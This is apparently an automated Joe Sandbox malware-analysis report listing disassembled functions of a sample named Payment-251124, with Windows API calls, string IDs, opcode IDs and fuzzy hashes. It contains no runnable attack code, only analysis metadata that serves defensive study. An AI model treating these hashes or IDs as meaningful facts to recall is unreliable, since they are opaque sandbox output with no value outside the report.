                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                        • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                        • API String ID: 169749273-3440237614
                                                        • Opcode ID: ec28ed3a8d6f112a23c42b73d485fd05d477b84ff6dc44e4fdea2f2787a4c58d
                                                        • Instruction ID: 6f392a8bbcd386ec2050694eb422b4dedfb6777737fa464de2f1668848c205b4
                                                        • Opcode Fuzzy Hash: ec28ed3a8d6f112a23c42b73d485fd05d477b84ff6dc44e4fdea2f2787a4c58d
                                                        • Instruction Fuzzy Hash: 4D615B71108304AFC301EF64DC45EABBBF8FF99710F104A2EF595A21A1DB719A0ADB52
                                                        Function 00F0AAF8 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 374timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • VariantInit.OLEAUT32(00000000), ref: 00F0AB3D
                                                        • VariantCopy.OLEAUT32(?,?), ref: 00F0AB46
                                                        • VariantClear.OLEAUT32(?), ref: 00F0AB52
                                                        • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00F0AC40
                                                        • __swprintf.LIBCMT ref: 00F0AC70
                                                        • VarR8FromDec.OLEAUT32(?,?), ref: 00F0AC9C
                                                        • VariantInit.OLEAUT32(?), ref: 00F0AD4D
                                                        • SysFreeString.OLEAUT32(00000016), ref: 00F0ADDF
                                                        • VariantClear.OLEAUT32(?), ref: 00F0AE35
                                                        • VariantClear.OLEAUT32(?), ref: 00F0AE44
                                                        • VariantInit.OLEAUT32(00000000), ref: 00F0AE80
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
                                                        • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                        • API String ID: 3730832054-3931177956
                                                        • Opcode ID: fc7080fa9fd45084a884eeaed22c3576b25575923d5955fc4feb3573792537f1
                                                        • Instruction ID: 2c4a8dfd91e1650c9e7f8804d0aff01cd3c89b71746b39abb644afbf84ae2e3e
                                                        • Opcode Fuzzy Hash: fc7080fa9fd45084a884eeaed22c3576b25575923d5955fc4feb3573792537f1
                                                        • Instruction Fuzzy Hash: 5AD1CEB2A04205DBDB20DF65C885B6AB7F5FF45710F148056E405AB2D1DB78EC41FBA2
                                                        Function 00F2716A Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharUpperBuffW.USER32(?,?), ref: 00F271FC
                                                        • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00F27247
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharMessageSendUpper
                                                        • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                        • API String ID: 3974292440-4258414348
                                                        • Opcode ID: da0d0690b1f32b2c2fba933018258a188363dbcfe6b1e4b2fb428215ca23ccaa
                                                        • Instruction ID: 40ac2b749621d346822e8b3c06ee703e808edf6a9a480bda63db17cedf51fa42
                                                        • Opcode Fuzzy Hash: da0d0690b1f32b2c2fba933018258a188363dbcfe6b1e4b2fb428215ca23ccaa
                                                        • Instruction Fuzzy Hash: 9F914B302087559BCA04FF24D951A6EB7E1BF94310F10585DF9966B3A3DB31ED0AEB82
                                                        Function 00F2E4F5 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00F2E5AB
                                                        • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00F29808,?), ref: 00F2E607
                                                        • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00F2E647
                                                        • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00F2E68C
                                                        • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00F2E6C3
                                                        • FreeLibrary.KERNEL32(?,00000004,?,?,?,00F29808,?), ref: 00F2E6CF
                                                        • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00F2E6DF
                                                        • DestroyIcon.USER32(?), ref: 00F2E6EE
                                                        • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00F2E70B
                                                        • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00F2E717
                                                          • Part of subcall function 00EE0FA7: __wcsicmp_l.LIBCMT ref: 00EE1030
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                        • String ID: .dll$.exe$.icl
                                                        • API String ID: 1212759294-1154884017
                                                        • Opcode ID: 83b1e1f1a6eae838a1e4abf62c860ca843cfa6c71244b6588ec7986dd902d2cc
                                                        • Instruction ID: 447a24db65fae4697c08e89ce6e20990ade7301a9141b2f85135ce14d5519d9d
                                                        • Opcode Fuzzy Hash: 83b1e1f1a6eae838a1e4abf62c860ca843cfa6c71244b6588ec7986dd902d2cc
                                                        • Instruction Fuzzy Hash: A061F371950229FAEB14DF64DC46FFE7BA8BB18720F204115F915E61D1EBB0E980EB60
                                                        Function 00F0D219 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        • CharLowerBuffW.USER32(?,?), ref: 00F0D292
                                                        • GetDriveTypeW.KERNEL32 ref: 00F0D2DF
                                                        • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F0D327
                                                        • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F0D35E
                                                        • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F0D38C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: SendString$BuffCharDriveLowerType__itow__swprintf
                                                        • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                        • API String ID: 1148790751-4113822522
                                                        • Opcode ID: ac78bbc1e001666ec74a15296352dab8ada45fc4b89d908b597a5b79c1aa0be0
                                                        • Instruction ID: f686b3d5d9ab6eefe0550d7aa4977ce728fe85bfc200768f23ef43eaedc0acc3
                                                        • Opcode Fuzzy Hash: ac78bbc1e001666ec74a15296352dab8ada45fc4b89d908b597a5b79c1aa0be0
                                                        • Instruction Fuzzy Hash: A0514A75504305AFC700EF14C982E6EB7E4EF98718F10986DF89967291DB31EE06EB42
                                                        Function 00F026BC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 137windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000016,00000000,?,?,00F33973,00000016,0000138C,00000016,?,00000016,00F5DDB4,00000000,?), ref: 00F026F1
                                                        • LoadStringW.USER32(00000000,?,00F33973,00000016), ref: 00F026FA
                                                        • GetModuleHandleW.KERNEL32(00000000,00000016,?,00000FFF,?,?,00F33973,00000016,0000138C,00000016,?,00000016,00F5DDB4,00000000,?,00000016), ref: 00F0271C
                                                        • LoadStringW.USER32(00000000,?,00F33973,00000016), ref: 00F0271F
                                                        • __swprintf.LIBCMT ref: 00F0276F
                                                        • __swprintf.LIBCMT ref: 00F02780
                                                        • _wprintf.LIBCMT ref: 00F02829
                                                        • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F02840
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HandleLoadModuleString__swprintf$Message_wprintf
                                                        • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                        • API String ID: 618562835-2268648507
                                                        • Opcode ID: 34d56d348eb1bd7611bec1a65f09e0e97098e5b703ba3b55bf2f423e2fdda0a2
                                                        • Instruction ID: 0f6f7c22f00105c83fb60c0b51fd76ee5d2a2dd78ea7128c641bf69b82c0b9c8
                                                        • Opcode Fuzzy Hash: 34d56d348eb1bd7611bec1a65f09e0e97098e5b703ba3b55bf2f423e2fdda0a2
                                                        • Instruction Fuzzy Hash: 8E41577280061CBACB14FBD0DE86EEEB7B8AF15340F145069F50572092DE756F4AEB61
                                                        Function 00F0D0B8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00F0D0D8
                                                        • __swprintf.LIBCMT ref: 00F0D0FA
                                                        • CreateDirectoryW.KERNEL32(?,00000000), ref: 00F0D137
                                                        • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00F0D15C
                                                        • _memset.LIBCMT ref: 00F0D17B
                                                        • _wcsncpy.LIBCMT ref: 00F0D1B7
                                                        • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00F0D1EC
                                                        • CloseHandle.KERNEL32(00000000), ref: 00F0D1F7
                                                        • RemoveDirectoryW.KERNEL32(?), ref: 00F0D200
                                                        • CloseHandle.KERNEL32(00000000), ref: 00F0D20A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                        • String ID: :$\$\??\%s
                                                        • API String ID: 2733774712-3457252023
                                                        • Opcode ID: 224593826f7dc41e980f73b0ac203ceba8d86cc5c3685d80770c18625beb2d1b
                                                        • Instruction ID: e72e5a4f6e45a8b71b3920cd3527570e75f2f0f00fbdee40210608af9c05a844
                                                        • Opcode Fuzzy Hash: 224593826f7dc41e980f73b0ac203ceba8d86cc5c3685d80770c18625beb2d1b
                                                        • Instruction Fuzzy Hash: 8631A5B6900109ABDB21DFA1DC49FEB77BCEF89740F1040B6F909D21A1EB709744AB25
                                                        Function 00EF87CD Relevance: 22.7, APIs: 15, Instructions: 210COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
                                                        • String ID:
                                                        • API String ID: 884005220-0
                                                        • Opcode ID: 456bb751895deca92b73a4aec6d292f3d757e64a9fb51f5b40116e6635530c1c
                                                        • Instruction ID: 25ba1b7deea4a79ddac2b425f5d8ef4aeef40005a027674a7ebbfeed4229cf26
                                                        • Opcode Fuzzy Hash: 456bb751895deca92b73a4aec6d292f3d757e64a9fb51f5b40116e6635530c1c
                                                        • Instruction Fuzzy Hash: B061113290064EAFDB25AF25DE427B977E4EF503B8FA02126EA44BB181DF74CD408791
                                                        Function 00F2E731 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00F2E754
                                                        • GetFileSize.KERNEL32(00000000,00000000), ref: 00F2E76B
                                                        • GlobalAlloc.KERNEL32(00000002,00000000), ref: 00F2E776
                                                        • CloseHandle.KERNEL32(00000000), ref: 00F2E783
                                                        • GlobalLock.KERNEL32(00000000), ref: 00F2E78C
                                                        • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00F2E79B
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 00F2E7A4
                                                        • CloseHandle.KERNEL32(00000000), ref: 00F2E7AB
                                                        • CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00F2E7BC
                                                        • OleLoadPicture.OLEAUT32(?,00000000,00000000,00F4D9BC,?), ref: 00F2E7D5
                                                        • GlobalFree.KERNEL32(00000000), ref: 00F2E7E5
                                                        • GetObjectW.GDI32(?,00000018,000000FF), ref: 00F2E809
                                                        • CopyImage.USER32(?,00000000,?,?,00002000), ref: 00F2E834
                                                        • DeleteObject.GDI32(00000000), ref: 00F2E85C
                                                        • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00F2E872
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                        • String ID:
                                                        • API String ID: 3840717409-0
                                                        • Opcode ID: fb9a26ea11eed1f69eeddcafd7acda987417dea511cb46a65aade70952d15c71
                                                        • Instruction ID: 9ab3cdf0939b54f371a733cd47de4d499d0fadfda39312ddb12e3fed7a5d75f7
                                                        • Opcode Fuzzy Hash: fb9a26ea11eed1f69eeddcafd7acda987417dea511cb46a65aade70952d15c71
                                                        • Instruction Fuzzy Hash: 90413A79A00218EFDB119F65DC48EAA7BB8EF9AB21F204058FD15D7260D7719D41EB20
                                                        Function 00F105F8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __wsplitpath.LIBCMT ref: 00F1076F
                                                        • _wcscat.LIBCMT ref: 00F10787
                                                        • _wcscat.LIBCMT ref: 00F10799
                                                        • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00F107AE
                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00F107C2
                                                        • GetFileAttributesW.KERNEL32(?), ref: 00F107DA
                                                        • SetFileAttributesW.KERNEL32(?,00000000), ref: 00F107F4
                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00F10806
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                        • String ID: *.*
                                                        • API String ID: 34673085-438819550
                                                        • Opcode ID: 70c32fd856cddc145ebf79c595d1f1f103f7160d826f22675f5fe81b22b21265
                                                        • Instruction ID: ba7a36e112cee236a9aad1186baf8eb53e071a7247e3bd2698b64ea8e96a2613
                                                        • Opcode Fuzzy Hash: 70c32fd856cddc145ebf79c595d1f1f103f7160d826f22675f5fe81b22b21265
                                                        • Instruction Fuzzy Hash: 2481A2729043459FCB24DF24C845AAEB3E8BBD8324F14482EF885D7251EBB4DDC5AB52
                                                        Function 00F2EEEB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00F2EF3B
                                                        • GetFocus.USER32 ref: 00F2EF4B
                                                        • GetDlgCtrlID.USER32(00000000), ref: 00F2EF56
                                                        • _memset.LIBCMT ref: 00F2F081
                                                        • GetMenuItemInfoW.USER32 ref: 00F2F0AC
                                                        • GetMenuItemCount.USER32(00000000), ref: 00F2F0CC
                                                        • GetMenuItemID.USER32(?,00000000), ref: 00F2F0DF
                                                        • GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 00F2F113
                                                        • GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 00F2F15B
                                                        • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00F2F193
                                                        • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00F2F1C8
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                        • String ID: 0
                                                        • API String ID: 1296962147-4108050209
                                                        • Opcode ID: af51a58b923d19b27b0b5f0b2250e9c0ca991d9e61603acca5b10efc571102fb
                                                        • Instruction ID: afdb17330ca874a1ecba60b8741fd01e6fbe65e595b54cab3a601f174abccb1f
                                                        • Opcode Fuzzy Hash: af51a58b923d19b27b0b5f0b2250e9c0ca991d9e61603acca5b10efc571102fb
                                                        • Instruction Fuzzy Hash: 4B819D71619325AFD710CF14E984A6BBBF8FB88324F14053EF99897291D730D815EB92
                                                        Function 00EFA867 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EFABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00EFABD7
                                                          • Part of subcall function 00EFABBB: GetLastError.KERNEL32(?,00EFA69F,?,?,?), ref: 00EFABE1
                                                          • Part of subcall function 00EFABBB: GetProcessHeap.KERNEL32(00000008,?,?,00EFA69F,?,?,?), ref: 00EFABF0
                                                          • Part of subcall function 00EFABBB: HeapAlloc.KERNEL32(00000000,?,00EFA69F,?,?,?), ref: 00EFABF7
                                                          • Part of subcall function 00EFABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00EFAC0E
                                                          • Part of subcall function 00EFAC56: GetProcessHeap.KERNEL32(00000008,00EFA6B5,00000000,00000000,?,00EFA6B5,?), ref: 00EFAC62
                                                          • Part of subcall function 00EFAC56: HeapAlloc.KERNEL32(00000000,?,00EFA6B5,?), ref: 00EFAC69
                                                          • Part of subcall function 00EFAC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00EFA6B5,?), ref: 00EFAC7A
                                                        • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00EFA8CB
                                                        • _memset.LIBCMT ref: 00EFA8E0
                                                        • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00EFA8FF
                                                        • GetLengthSid.ADVAPI32(?), ref: 00EFA910
                                                        • GetAce.ADVAPI32(?,00000000,?), ref: 00EFA94D
                                                        • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00EFA969
                                                        • GetLengthSid.ADVAPI32(?), ref: 00EFA986
                                                        • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00EFA995
                                                        • HeapAlloc.KERNEL32(00000000), ref: 00EFA99C
                                                        • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00EFA9BD
                                                        • CopySid.ADVAPI32(00000000), ref: 00EFA9C4
                                                        • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00EFA9F5
                                                        • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00EFAA1B
                                                        • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00EFAA2F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                        • String ID:
                                                        • API String ID: 3996160137-0
                                                        • Opcode ID: 92db0be22d45ba7e3c860fa471fedde5ddd4811ec3448da4cc757dce3ef61994
                                                        • Instruction ID: a157441dc4fda04ee4e7d90fafe7a1a9fea2f522eae0532a0f162bc93958dcb6
                                                        • Opcode Fuzzy Hash: 92db0be22d45ba7e3c860fa471fedde5ddd4811ec3448da4cc757dce3ef61994
                                                        • Instruction Fuzzy Hash: F8514CB5A0020DABDF11DF94DC44AFEBBB9FF05304F089129E915AB290D7319A05DB61
                                                        Function 00F19DC1 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDC.USER32(00000000), ref: 00F19E36
                                                        • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00F19E42
                                                        • CreateCompatibleDC.GDI32(?), ref: 00F19E4E
                                                        • SelectObject.GDI32(00000000,?), ref: 00F19E5B
                                                        • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00F19EAF
                                                        • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 00F19EEB
                                                        • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00F19F0F
                                                        • SelectObject.GDI32(00000006,?), ref: 00F19F17
                                                        • DeleteObject.GDI32(?), ref: 00F19F20
                                                        • DeleteDC.GDI32(00000006), ref: 00F19F27
                                                        • ReleaseDC.USER32(00000000,?), ref: 00F19F32
                                                        Strings
